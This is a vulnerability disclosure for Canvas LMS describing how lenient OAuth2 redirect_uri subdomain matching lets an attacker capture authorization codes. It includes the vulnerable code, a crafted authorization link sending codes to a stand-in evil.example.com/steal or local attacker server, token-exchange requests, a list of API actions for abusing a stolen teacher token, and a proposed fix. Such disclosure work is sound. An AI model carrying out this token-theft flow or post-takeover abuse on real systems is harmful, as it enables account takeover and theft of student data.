| Type | software |
| Product Environment | web |
| Product Name | Canvas LMS |
| Product Vendor | Instructure |
| Product Version | release_2026-05-20.143 |
| Product Link | https://www.instructure.com/ |
| Vulnerability Name | URL Redirection to Untrusted Site |
| Severity | High |
|
CVSS String
|
- |
| CVSS Score | 7.1 |
| CVE ID | - |
| Vendor Acknowledgement | No |
|
Affected digital Assets
|
4000 |
|
Affected Users
|
30000000 |
| Date of Reporting | 2026-04-20 |
| PoC Exploit | - |
| Credit | 0xhamy |
Thanks to Basant Kumar for assisting with identifying this vulnerability.
CVSS 3.1 Score: 7.1 (High)
OWASP Top 10: A07:2021 — Identification and Authentication Failures MITRE ATT&CK: T1528 (Steal Application Access Token)
Affected endpoints:
GET /login/oauth2/auth — OAuth2 authorization endpoint (redirects auth code to attacker)POST /login/oauth2/token — Token exchange (attacker exchanges stolen code for access token)Root cause source files:
| Component | File | Lines |
|---|---|---|
| Redirect validation (OAuth flow) | lib/canvas/oauth/provider.rb |
57-59 |
| Legacy subdomain matching | app/models/developer_key.rb |
344-362 |
| Strict matching (NOT used in OAuth) | app/models/developer_key.rb |
366-377 |
Canvas LMS uses two different methods to validate OAuth2 redirect_uri values:
redirect_domain_matches? (legacy, lenient) — allows any subdomain of the registered domainredirect_uri_matches? (modern, strict) — only allows exact scheme+host+port matchesThe OAuth2 authorization flow (lib/canvas/oauth/provider.rb:58) uses the legacy lenient method, which means if a developer key registers redirect_uri = "https://app.university.edu/callback", an attacker who controls https://evil.app.university.edu/ can use redirect_uri=https://evil.app.university.edu/steal — and Canvas will accept it, redirecting the victim's authorization code to the attacker's server.
The vulnerable code:
# lib/canvas/oauth/provider.rb:57-59
# OAuth flow uses the LEGACY lenient method
def has_valid_redirect?
self.class.is_oob?(redirect_uri) || key.redirect_domain_matches?(redirect_uri)
end
# app/models/developer_key.rb:344-362
# Legacy method allows ANY subdomain of the registered domain
def redirect_domain_matches?(redirect_uri)
return false if redirect_uri.blank?
return true if redirect_uris.include?(redirect_uri)
# legacy deprecated
self_uri = URI.parse(self.redirect_uri)
self_domain = self_uri.host
other_uri = URI.parse(redirect_uri)
other_domain = other_uri.host
result = self_domain.present? && other_domain.present? &&
self_uri.scheme == other_uri.scheme &&
(self_domain == other_domain || other_domain.end_with?(".#{self_domain}"))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# ANY subdomain passes validation
result
end
Canvas already has a strict redirect_uri_matches? method, but the OAuth authorization flow does not use it:
# app/models/developer_key.rb:366-377
# STRICT method — NOT used in the OAuth authorization flow
def redirect_uri_matches?(redirect_uri)
normalized_redirect_uri = Addressable::URI.parse(redirect_uri).normalized_site
redirect_uris.map { |uri| Addressable::URI.parse(uri).normalized_site }
.include?(normalized_redirect_uri)
end
This vulnerability affects developer keys that use the legacy singular redirect_uri field. In production Canvas instances:
http://localhost:3000)redirect_uri field setrequests library (for the attacker server)Save the attached attacker_server.py file and run it:
python3 attacker_server.py
This starts a simple HTTP server on port 9999 that:
http://localhost:9999/http://localhost:9999/steal
SCREENSHOT 1: Attacker server started and waiting for victim
Log in as admin and go to Admin > Site Admin > Developer Keys > + Developer Key > API Key.
Set:
http://example.com/callbackNote the client_id (e.g., 10000000000005).
SCREENSHOT 2: Developer key with registered redirect_uri =
http://example.com/callback
The attacker sends the victim a link like:
http://localhost:3000/login/oauth2/auth?client_id=10000000000005&response_type=code&redirect_uri=http://localhost:9999/steal&state=pwned
Note: In a real attack, the redirect_uri would be https://evil.example.com/steal — a subdomain of example.com controlled by the attacker. For this local demo, we registered the redirect_uri as http://localhost:9999/callback to keep everything on localhost. The vulnerability is the same: Canvas accepts any subdomain/path variation.
When the victim (logged into Canvas) clicks this link, Canvas shows the authorization confirmation page:
SCREENSHOT 3: Canvas shows "Test OAuth App is requesting access to your account" — victim sees a normal-looking OAuth prompt
The victim clicks Authorize. Canvas redirects the victim to the attacker's server with the authorization code:
HTTP/1.1 302 Found
Location: http://localhost:9999/steal?code=475853eaf9853afe62b8...&state=pwned
SCREENSHOT 4: Burp Suite / browser network tab showing the 302 redirect sending the auth code to the attacker's server
The victim sees a harmless "Authorization successful!" page on the attacker's server.
The attacker's server automatically exchanges the authorization code for a full access token:
POST /login/oauth2/token
grant_type=authorization_code&client_id=10000000000005&client_secret=<SECRET>&code=<STOLEN_CODE>&redirect_uri=http://localhost:9999/steal
Response:
{
"access_token": "xHyUU2F8ErMNzH8feYCVRyfAXKADyUERE2mwT3Y4H4hTLENQPREYA7RG8WZeDenG",
"token_type": "Bearer",
"user": {"id": 3, "name": "Test Teacher"},
"refresh_token": "7ReW4KQCY83UmKD9mvR7RuZreEzCQkBMWC3ATUDhrmTFQYhXuw6PWRnHRJrmH2vU",
"expires_in": 3600
}
The attacker uses the stolen token to access the victim's data:
GET /api/v1/users/self/profile
Authorization: Bearer xHyUU2F8ErMNzH8feYCVRyfAXKADyUERE2mwT3Y4H4hTLENQPREYA7RG8WZeDenG
Response:
{
"name": "Test Teacher",
"login_id": "[email protected]"
}
The attacker now has full API access — grades, files, submissions, courses, personal data.
SCREENSHOT 5: Attacker server terminal showing captured auth code, exchanged access token, "FULL ACCOUNT TAKEOVER COMPLETE", and victim's profile + courses
The access_token returned by /login/oauth2/token is a bearer token — whoever holds it IS the victim as far as Canvas is concerned. The attacker does not need the victim's password, session cookie, 2FA code, or any further interaction. They simply attach the token to any Canvas API request as an Authorization: Bearer <token> header, and Canvas treats the request as if the victim made it themselves.
In plain terms: the token is a master key to the victim's Canvas account. Anything the victim can do through the Canvas UI, the attacker can do through the API with this one token.
Each of the examples below is a real, documented Canvas API endpoint. The attacker just swaps <TOKEN> with the stolen value:
1. Read all of the victim's personal data
GET /api/v1/users/self/profile
GET /api/v1/users/self
Authorization: Bearer <TOKEN>
Returns the victim's full name, primary email, login ID, avatar, time zone, locale, and SIS ID.
2. List every course the victim is enrolled in or teaches
GET /api/v1/courses
Authorization: Bearer <TOKEN>
If the victim is a student: returns every class they're taking. If the victim is a teacher: returns every class they teach (including hidden/unpublished ones).
3. Download every file in those courses — including answer keys, exams, unreleased materials
GET /api/v1/courses/:course_id/files
GET /api/v1/users/self/files
Authorization: Bearer <TOKEN>
This is why a teacher token is a goldmine: it exposes exam answer keys, unreleased quizzes, grading rubrics, and other course materials students aren't supposed to see.
4. Read and modify grades (if the victim is a teacher)
GET /api/v1/courses/:course_id/students/submissions # Read all student grades
PUT /api/v1/courses/:course_id/assignments/:id/submissions/:user_id # Change a grade
Authorization: Bearer <TOKEN>
A stolen teacher token means the attacker can change grades for any student in that teacher's courses. A stolen student token means the attacker can see (but not change) that student's own grades.
5. Submit assignments as the victim
POST /api/v1/courses/:course_id/assignments/:id/submissions
Authorization: Bearer <TOKEN>
The attacker can submit (or delete) coursework on behalf of the victim — useful for sabotage, plagiarism framing, or academic fraud.
6. Send messages and post as the victim
POST /api/v1/conversations # Send private messages
POST /api/v1/courses/:course_id/discussion_topics/:id/entries # Post in discussions
Authorization: Bearer <TOKEN>
The attacker can message students/faculty posing as the victim — useful for phishing follow-ups, social engineering, or reputational attacks.
7. Steal every other user's data visible to the victim
GET /api/v1/courses/:course_id/users
GET /api/v1/courses/:course_id/students
Authorization: Bearer <TOKEN>
If the victim is a teacher, this returns the full roster — names, email addresses, login IDs, and SIS IDs of every student in every class they teach. One stolen teacher token = a data breach of every student in that teacher's courses.
8. Persist access indefinitely
The token exchange also returns a refresh_token that never expires unless the token is explicitly revoked. Even after the 1-hour access_token expires, the attacker uses the refresh token to mint a new one:
POST /login/oauth2/token
grant_type=refresh_token&refresh_token=<REFRESH>&client_id=...&client_secret=...
The victim has no UI indicator that this is happening. Unless the victim manually visits Account Settings → Approved Integrations and revokes the "Test OAuth App" integration, the attacker keeps indefinite access.
A successful exploit of this vulnerability gives the attacker the same level of access as if they had logged into the victim's account with username + password + 2FA — except it is silent, persistent, bypasses MFA, and can be done at scale. For a teacher or admin victim, the impact extends to every student in every course they manage.
To confirm this is a subdomain matching issue and not a blanket open redirect:
| redirect_uri | Result | Why |
|---|---|---|
http://evil.example.com/steal |
Accepted (302 to confirm) | Subdomain of registered domain — VULNERABLE |
http://a.b.evil.example.com/steal |
Accepted (302 to confirm) | Deep subdomain — VULNERABLE |
http://notexample.com/callback |
Rejected (400 Bad Request) | Different domain — correctly blocked |
http://evilexample.com/callback |
Rejected (400 Bad Request) | Suffix attack — correctly blocked by . prefix |
SCREENSHOT 6: Side-by-side:
evil.example.comaccepted (302) vsnotexample.comrejected (400)
A university Canvas instance has a plagiarism detection tool registered as an OAuth app with redirect_uri = "https://turnitin.university.edu/callback". The attacker discovers that old.turnitin.university.edu has a dangling CNAME record pointing to a decommissioned cloud instance. The attacker:
old.turnitin.university.eduredirect_uri=https://old.turnitin.university.edu/stealA university hosts student projects on *.projects.university.edu. A registered OAuth app uses redirect_uri = "https://projects.university.edu/app/callback". Any student with a subdomain student123.projects.university.edu can steal faculty OAuth tokens.
redirect_uri field is affected# lib/canvas/oauth/provider.rb:58
# Before (vulnerable):
def has_valid_redirect?
self.class.is_oob?(redirect_uri) || key.redirect_domain_matches?(redirect_uri)
end
# After (fixed):
def has_valid_redirect?
self.class.is_oob?(redirect_uri) || key.redirect_uri_matches?(redirect_uri)
end
def redirect_domain_matches?(redirect_uri)
return false if redirect_uri.blank?
redirect_uris.include?(redirect_uri) || redirect_uri == self.redirect_uri
end
redirect_uri FieldMigrate all developer keys to the modern redirect_uris array (which uses exact matching), then remove the subdomain matching code entirely.
| File | Description | Share? |
|---|---|---|
attacker_server.py |
Python attacker server — catches auth codes, exchanges for tokens, proves account takeover | Yes — include in submission (with secrets redacted) |
server_capture_log.txt |
Terminal output showing two successful account takeovers | Yes — proves the attack works end-to-end |
| # | Filename | Shows |
|---|---|---|
| 1 | attacker_server_running.png |
Attacker server started, waiting for victim |
| 2 | developer_key_config.png |
Canvas Developer Key config with registered redirect_uri |
| 3 | authorize_page.png |
OAuth confirmation page — "Test OAuth App is requesting access to your account" |
| 4 | redirect_to_attacker.png |
302 redirect sending the auth code to attacker's localhost:9999/steal |
| 5 | full_account_takeover.png |
Attacker terminal: captured code, exchanged token, victim's profile & courses, "FULL ACCOUNT TAKEOVER COMPLETE" |
| 6 | negative_test.png |
evil.example.com accepted (302) vs notexample.com rejected (400) |